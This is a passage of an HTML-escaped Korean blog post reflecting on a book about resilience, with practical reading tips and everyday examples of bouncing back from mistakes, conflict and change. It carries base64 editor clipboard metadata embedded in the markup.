&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;그렇다면 작은 것부터 하나씩 실천하기 위해서 무엇을 먼저 해볼 수 있을까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;먼저, &lt;b&gt;작은 목표를 설정&lt;/b&gt;한다. 매일 한 가지 생각이나 실천할 아이디어만 얻겠다고 생각한다. 부담이 줄어들고, 작은 변화에도 성취감을 느낄 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;공감하며 읽기&lt;/b&gt;, 책의 모든 내용을 공감할 수는 없을 것이다. 하지만 책을 읽으면서 느끼는 감정이나 생각을 자연스럽게 인정하고 기록해 보는 것이다. &quot;내가 지금 필요한 부분이 무엇일까?&quot;를 기준으로 필요한 구절을 하나씩 찾다보면 좀 더 깊은 생각을 할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;자기 돌봄을 위한 휴식으로 여기기&lt;/b&gt;이다. 책을 읽는 시간 마저도 &quot;해야할 일&quot;로 보기보다는 회복의 한 순간으로 설정한다. 책을 읽을 때만큼은 편안하게 읽으면서 회복탄력성의 개념으로 지친 마음을 서서히 치유한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-2&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;누구에게나 있는 힘&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div id=&quot;craft_clipboard&quot; data-craft=&quot;W3sicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLsnbQg7LGF7JeQ7IScIO2ajOuzte2DhOugpeyEseydgCDtirnrs4TtlZwg64ql66Cl7J20IOyVhOuLiOudvCDriITqtazrgpjsnZgg67O47ISx7J6E7J2EIOqwleyhsO2VmOqzoCDsnojri6QuIOyXheustOyXkOyEnCDsi6TsiJjrpbwg7ZaI7J2EIOuVjCDquLDsmrTsnYQg7J6D7KeAIOyViuqzoCDtlZwg67KIIOuNlCDrj4TsoITtlZjripQg6rKD7J20IO2ajOuzte2DhOugpeyEseydmCDsmIjroZwg7KCc7Iuc7ZWc64ukLiDsi6TsiJjsl5DshJwg67Cw7Jqw6rOgIOuwnOyghO2VoCDquLDtmozrpbwg7IK864qUIOyekOyEuOuKlCDtmozrs7Xtg4TroKXshLHsnZgg67Cc7ZiE7J2064ukLiIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDYzMzkyMTIsInVwZGF0ZWQiOjE3MzAyMTIwNjI3NzAsInN0YW1wIjoiXCI5MzEwNjhjNi1hMWEwLTQ2YjEtOTRiZC1mZjlkNjE4ZGVhZGFcIiIsInRlbXBJZCI6IjE0MENCNUFFLTE1NjktNEY5Mi04MzVFLUE4RENBREY5RjY3QSJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLrmJDtlZwg6rSA6rOE7JeQ7IScIOqwiOuTseydtOuCmCDsmKTtlbTqsIAg7IOd6rK87J2EIOuVjCDqsJDsoJXsnYQg65CY7IOI6rKo67O064qUIOqygyDrs7Tri6TripQg7ISc66GcIOydtO2VtO2VmOugpOuKlCDrhbjroKXsnYQg7ZWY64qUIOqyveyasOydtOuLpC4g6rSA6rOE66W8IOqwnOyEoO2VmOugpOuKlCDrhbjroKXsnYAg7Iqk7Yq466CI7Iqk66W8IOycoOyXsO2VmOqyjCDsspjrpqztlZjripQg7ZqM67O17YOE66Cl7ISx7J2YIOyii+ydgCDsmIjri6QuIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDIwNjUxODg2NSwidXBkYXRlZCI6MTczMDIwNjU4MTg5OCwic3RhbXAiOiJcIjY4YjU1MTVkLTE2NjctNGVhZi04NDgyLWQxMTg2NDQwNTY0OFwiIiwidGVtcElkIjoiMzREOTk5MzgtQTJGRC00NzNGLUE0MTMtNUQ0MDg1NTdGRTJBIn0seyJwYXJlbnRCbG9jayI6IjU3MmJmMTMxLTdhMmEtNGIxNy1hMzRmLTJlZmQxNGE4ZTQ3NiIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcImJvZHlcIixcImxpc3RTdHlsZVwiOlwibm9uZVwiLFwibGluZVN0eWxlXCI6XCJub25lXCIsXCJ1cmxTdHlsZVwiOlwiZGVmYXVsdFwiLFwibGF5b3V0U3R5bGVcIjpcInJlZ3VsYXJcIixcImltYWdlRmlsbFN0eWxlXCI6XCJzY2FsZUFzcGVjdEZpdFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W10sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9IiwiY29udGVudCI6IuydvOyDgeyXkOyEnOydmCDrs4DtmZTsl5Ag64yA7ZWcIOyggeydkeugpSDrmJDtlZwg7ZqM67O17YOE66Cl7ISx7J2YIOyalOyGjOydtOuLpC4g7JeF66y07J2YIOuzgOuPmeydtOuCmCDsg53tmZwg7Yyo7YS07J20IOuwlOuAjOyXiOydhCDrlYwg6re47JeQIOunnuy2sCDsnpDsi6DsnYQg7KGw7Jyo7ZWY64qUIOqyg+uPhCDtmozrs7Xtg4TroKXshLHsnZgg66qo7Iq17J2064ukLiDsg4jroZzsmrQg7IOB7Zmp7JeQIOyKpO2KuOugiOyKpOuPhCDsnojqsqDsp4Drp4wg7ZmY6rK97JeQIOunnuy2sCDsiqTsiqTroZwg7KGw7KCV7ZWY64qUIOuKpeugpeuPhCDtlYTsmpTtlZjri6QuIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDIwNjMzOTAwNCwidXBkYXRlZCI6MTczMDIwNzI3ODg5OCwic3RhbXAiOiJcImFmN2RkYjEyLTc2ZTAtNGJkZi05M2FiLTA3Y2Q4Zjc0NDQ4MVwiIiwidGVtcElkIjoiQUExREVCOUEtMUI4MC00NjlBLUJCNjctNkFFRDFBRUY5MDlCIn0seyJwYXJlbnRCbG9jayI6IjU3MmJmMTMxLTdhMmEtNGIxNy1hMzRmLTJlZmQxNGE4ZTQ3NiIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcImJvZHlcIixcImxpc3RTdHlsZVwiOlwibm9uZVwiLFwibGluZVN0eWxlXCI6XCJub25lXCIsXCJ1cmxTdHlsZVwiOlwiZGVmYXVsdFwiLFwibGF5b3V0U3R5bGVcIjpcInJlZ3VsYXJcIixcImltYWdlRmlsbFN0eWxlXCI6XCJzY2FsZUFzcGVjdEZpdFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W10sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9IiwiY29udGVudCI6IuyZhOuyve2VnCDtlZjro6jqsIAg66ek7J28IOyhtOyerO2VoCDsiJjripQg7JeG64ukLiDsnpHsnYAg7Iuk66ed7J2064KYIOyKpO2KuOugiOyKpOqwgCDsnojrjZTrnbzrj4Qg6re466GcIOyduO2VtCDtlZjro6gg7KCE7LK066W8IOunney5mOyngCDslYrqs6AsIOuLpOuluCDsnbzrk6Tsl5Ag7KeR7KSR7ZWY66m07IScIOq4jeygleyggeyduCDrp4jrrLTrpqzrpbwg7ZWY64qUIOqyg+uPhCDsnpHsnYAg7ZqM67O17YOE66Cl7ISx7J20IOuQoCDsiJgg7J6I64ukLiIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDcyNzg5MDgsInVwZGF0ZWQiOjE3MzAyMDczMTYzMzEsInN0YW1wIjoiXCJkNDFjZWZjNC1mMmMzLTRiODMtYmNhMy1iMjk1MDIwMDJlYjRcIiIsInRlbXBJZCI6IkYwMTI3RDZGLUExNzgtNDUxNC1CQTE1LThFNDI4Qjg5M0UyNyJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDczMTg4NjQsInVwZGF0ZWQiOjE3MzAyMDczMTg4NjQsInN0YW1wIjoiXCI3MmNiNGNmNy1lNTYxLTQ2OGQtOTQ0Ny0xN2MyMWMwNmQ5MWVcIiIsInRlbXBJZCI6IjIwNDcyNzExLUQzMTUtNEIwNS1CMEQzLTYyMDU2N0NERkE1NSJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLsnbTrr7gg7IOd7ZmcIOyGjeyXkOyEnCwg64K066m07JeQIO2ajOuzte2DhOugpeyEseydgCDsnpDrpqzsnqHqs6Ag7J6I7Jy866mwLCDrjZQg7YKk7Jq4IOyImCDsnojri6TripQg7KCQ7J2EIOuztOyXrOykgOuLpC4g7KeA6riIIOuCtOqwgCDqsr3tl5jtlZjripQg7Ja066Ck7JuAIOyGjeyXkOyEnOuPhCDsnpHsnYAg7ZqM67O166Cl7J2EIOuwnO2cmO2VmOqzoCDsnojri6QuIOyWtOuWpCDsg4Htmansl5DshJwg7Yq57Z6IIO2ajOuzte2DhOugpeyEseydhCDrsJztnJjtlZjqs6Ag7J6I64qU7KeAIOyDneqwge2VtOuztOuptCwg7J2066+4IOuwnO2cmO2VmOqzoCDsnojripQg7KKL7J2AIOyXkOuEiOyngOulvCDrjZQg7J6Q6rCB7ZWY6rKMIOuQmOyWtCDquI3soJXsoIHsnbgg67OA7ZmU6rCAIOyeiOydhCDqsoPsnbTri6QuICIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDczMTg3MDEsInVwZGF0ZWQiOjE3MzAyMDczOTMyNzYsInN0YW1wIjoiXCI2ODBkZTNjNC00MzgyLTRlYTEtOTE3YS1kZWExMjAzYzEzNDJcIiIsInRlbXBJZCI6Ijk4MjA1RkJDLTJDMTMtNEM1My1CQ0NELUE2QjcwQUYxNDIyMiJ9XQ==&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이 책에서 회복탄력성은 특별한 능력이 아니라 누구나의 본성임을 강조하고 있다. 업무에서 실수를 했을 때 기운을 잃지 않고 한 번 더 도전하는 것이 회복탄력성의 예로 제시한다. 실수에서 배우고 발전할 기회를 삼는 자세는 회복탄력성의 발현이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;또한 관계에서 갈등이나 오해가 생겼을 때 감정을 되새겨보는 것 보다는 서로 이해하려는 노력을 하는 경우이다. 관계를 개선하려는 노력은 스트레스를 유연하게 처리하는 회복탄력성의 좋은 예다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;일상에서의 변화에 대한 적응력 또한 회복탄력성의 요소이다. 업무의 변동이나 생활 패턴이 바뀌었을 때 그에 맞춰 자신을 조율하는 것도 회복탄력성의 모습이다. 새로운 상황에 스트레스도 있겠지만 환경에 맞춰 스스로 조정하는 능력도 필요하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;완벽한 하루가 매일 존재할 수는 없다. 작은 실망이나 스트레스가 있더라도 그로 인해 하루 전체를 망치지 않고, 다른 일들에 집중하면서 긍정적인 마무리를 하는 것도 작은 회복탄력성이 될 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이미 생활 속에서, 내면에 회복탄력성은 자리잡고 있으며, 더 키울 수 있다는 점을 보여준다. 지금 내가 경험하는 어려움 속에서도 작은 회복력을 발휘하고 있다. 어떤 상황에서 특히 회복탄력성을 발휘하고 있는지 생각해보면, 이미 발휘하고 있는 좋은 에너지를 더 자각하게 되어 긍정적인 변화가 있을 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-3&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;감정을 마주하기&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div id=&quot;craft_clipboard&quot; data-craft=&quot;W3sicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLtmozrs7Xtg4TroKXshLHsnZgg7ZW17Ius7J2AIOu2gOygleyggeyduCDqsJDsoJXsnYQg7Ja164iE66W064qUIOuMgOyLoCDsnbTrpbwg7IiY7Jqp7ZWY6rOgLCDqsJDsoJXsl5Ag7KCB7KCI7Z6IIOyekOumrOulvCDtl4jsmqntlZjripQg7YOc64+E7J2064ukLiDsnpDquLDsobDsoIjsnYAg6rCQ7KCV7J2EIOyngeuptO2VmOqzoCwg7J6I64qUIOq3uOuMgOuhnCDsnbjsoJXtlaAg65WMIOuNlCDqsJXtlbTsp4DrqbAsIOydtOuKlCDsiqTtirjroIjsiqQg6rSA66as7JeQIOykkeyalO2VnCDsl63tlaDsnYQg7ZWc64ukLiDqsJDsoJXsnYQg7Ja164iE66W066m0IOyYpO2eiOugpCDqsJXtmZTrkJjslrQg64uk7IucIOuWoOyYpOultOqxsOuCmCwg66q46rO8IOuniOydjOyXkCDrtoDsoJXsoIHsnbgg7JiB7Zal7J2EIOuvuOy5nOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjEwMDUzMzk3LCJ1cGRhdGVkIjoxNzMwMjEwMTA0MzE2LCJzdGFtcCI6IlwiZGM5MjdhYjYtMjFjNi00YjFkLTgxNzUtNTM5MzcwMmVkYTEwXCIiLCJ0ZW1wSWQiOiI5OTU0RjM3MS00RTlBLTQ0QzYtOTVCRi01MTgzQzIzNTNCNjkifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjEwMTA0NzAxLCJ1cGRhdGVkIjoxNzMwMjEwMTA0NzAxLCJzdGFtcCI6IlwiN2JkYTM0YTctOTA0OC00ZGJlLWEwNTUtYjRlMGZjMDgyNDU1XCIiLCJ0ZW1wSWQiOiIyRkMyOUNBNS1GRjBFLTQ0MkQtOTFFNi05RDgyQUIzQjNCRDAifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi7J2065+s7ZWcIOygkeq3vCDrsKnsi53snbQg7Iqk7Yq466CI7IqkIOuMgOyymOyXkCDslrTrlqQg7JiB7Zal7J2EIOuvuOy5oOq5jD8iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjEwMTA0MzI5LCJ1cGRhdGVkIjoxNzMwMjEwMTE3ODE4LCJzdGFtcCI6IlwiYzUzNTE5YzktNzNkOS00ZTM4LWJjMGMtY2ViOTA0MjllMmFkXCIiLCJ0ZW1wSWQiOiIxMzZCM0MxQS1DQUQ0LTQzNkYtOEYwMS0xODBCRkQ3QkFFMEYifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjEwMTE4NDkxLCJ1cGRhdGVkIjoxNzMwMjEwMTE4NDkxLCJzdGFtcCI6IlwiZDYxMjE0NDYtYTM5Zi00MDEyLWEwNWYtYzM3NmFkYTkxZWU0XCIiLCJ0ZW1wSWQiOiJFREU1NzBEMC0wQzg5LTQ4NEMtOTk4Mi01NEVEQzIyRDAxRjMifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi67aA7KCV7KCB7J24IOqwkOygleuPhCDsnbzsg4HsnZgg7J2867aA66GcIOyduOygle2VmOuptOyEnCwg7J6Q7Jew7Iqk65+96rKMIOuwm+yVhOuTpOydtOuKlCDtnpjsnbQg7IOd6ri064ukLiDqsJDsoJXsnYAg7ZqM7ZS87ZWgIOyImCDsl4bri6QuIOqwkOygleydhCDrjIDtlZjripQg7Jqw66as7J2YIO2DnOuPhOqwgCDrgpjrpbwg6rKw7KCV7ZWY64qUIOqyg+ydtOuLpC4g6rCQ7KCV7J2EIO2UvO2VmOugpOuKlCDsl5DrhIjsp4Drpbwg7KSE7JesIOyLrOumrOyggSDtlLzroZzrpbwg642c7Ja07KSA64ukLiIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMTAxMTc4MjcsInVwZGF0ZWQiOjE3MzAyMTAxNTM5NjMsInN0YW1wIjoiXCJmNjNlNDA0OS0zMDY3LTQ5ZGUtOTYwNi0yOTNlMmI5ZGRiYjJcIiIsInRlbXBJZCI6IjFFNUUyNkI2LThCQTktNDBFNi1CQjUwLTM0QUM1NUQyRDVGNCJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTR